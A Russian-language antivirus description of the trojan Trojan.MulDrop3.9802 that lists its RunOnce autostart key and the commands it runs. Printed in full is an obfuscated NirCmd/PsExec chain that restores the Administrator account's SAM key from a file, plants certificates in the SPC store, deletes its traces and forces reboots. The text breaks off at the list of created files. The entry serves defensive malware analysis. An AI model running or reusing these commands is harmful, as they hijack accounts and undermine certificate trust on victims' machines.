Trojan.MulDrop3.9802

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] '192450' = '"%WINDIR%\Temp\ncmd.exe" exec hide cmd /c"echo. & cls "" & echo 192450>>"<Полный путь к вирусу>" & del /a /f /q "%WINDIR%\Temp\ncmd.exe""'

Вредоносные функции:

Создает и запускает на исполнение:

%WINDIR%\Temp\pse.exe -i -d -s "<Полный путь к вирусу>"
%WINDIR%\PSEXESVC.EXE
%WINDIR%\Temp\ncmd.exe exec hide cmd /c"echo. & cls "" & del /a /f /q "rst*" & set "K1=HKLM\SAM\SAM\Domains\Account\Users" & (if ~$currdate.yyMMdd$ lss 120116 call set "K1=%K1%\000001F4") & (if ~$currdate.yyMMdd$ geq 120116 еxit) & call reg query "%K1%+" || (call reg copy "%K1%" "%K1%+") & call reg restore "%K1%" "ncmd.k01" & set "K2=HKLM\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates" & set "K3=\F190D1C02C9AF8AB7AA6973C918A4E0836BDE847" & set "K4=\F1EF7910E4B0356A86DBC4EDE0AE7EECFE81810C" & call reg add "%K2%%K3%" & call reg restore "%K2%%K3%" "ncmd.k02" & call reg add "%K2%%K4%" & call reg restore "%K2%%K4%" "ncmd.k03" & ncmd killprocess "~~$sys.sfxname$" & ren "pse.exe" "~d%RANDOM%.tmp" & ncmd exec show ncmd exitwin reboot force & ren "ncmd.k*" "~d%RANDOM%.*tmp" & del /a /f /q "~d*.*tmp"" killprocess "cmd.exe" killprocess "regedit.exe" cmdwait 1031 exec hide rst exitwin reboot force exitwin reboot force exec show ncmd exitwin reboot force killprocess "~$sys.sfxname$" exec hide cmd /c"echo. & cls "" & ncmd killprocess "rst.exe" & del /a /f /q "rst*" & ncmd regsetval dword "HKCU\Software\Sysinternals\PsExec" "EulaAccepted" "1" & ncmd exec hide pse -i -d -s "~~$sys.sfxname$"" filldelete "cmd.*" shellcopy "~$nir.exefile$" "~$folder.nircmd$\rst.exe" noerrorui silent yestoall killprocess "rst.exe" regsetval sz "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" "~$currtime.HHmmss$" "~q~$nir.exefile$~q exec hide cmd /c~qecho. & cls ~q~q & echo ~$currtime.HHmmss$>>~q~$sys.sfxname$~q & del /a /f /q ~q~$nir.exefile$~q~q" exec hide pse -i -d -s "~$sys.sfxname$" regsetval dword "HKCU\Software\Sysinternals\PsExec" "EulaAccepted" "1"
%WINDIR%\Temp\rst.exe cmdwait 3598 exitwin reboot force

Запускает на исполнение:

<SYSTEM32>\reg.exe restore "HKLM\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates\F190D1C02C9AF8AB7AA6973C918A4E0836BDE847" "ncmd.k02"
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates\F190D1C02C9AF8AB7AA6973C918A4E0836BDE847"
<SYSTEM32>\reg.exe restore "HKLM\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates\F1EF7910E4B0356A86DBC4EDE0AE7EECFE81810C" "ncmd.k03"
<SYSTEM32>\reg.exe add "HKLM\SOFTWARE\Microsoft\SystemCertificates\SPC\Certificates\F1EF7910E4B0356A86DBC4EDE0AE7EECFE81810C"
<SYSTEM32>\reg.exe query "HKLM\SAM\SAM\Domains\Account\Users\000001F4+"
<SYSTEM32>\logonui.exe /status /shutdown
<SYSTEM32>\reg.exe restore "HKLM\SAM\SAM\Domains\Account\Users\000001F4" "ncmd.k01"
<SYSTEM32>\reg.exe copy "HKLM\SAM\SAM\Domains\Account\Users\000001F4" "HKLM\SAM\SAM\Domains\Account\Users\000001F4+"

Пытается завершить работу операционной системы Windows.

Изменения в файловой системе:

Создает следующие файлы: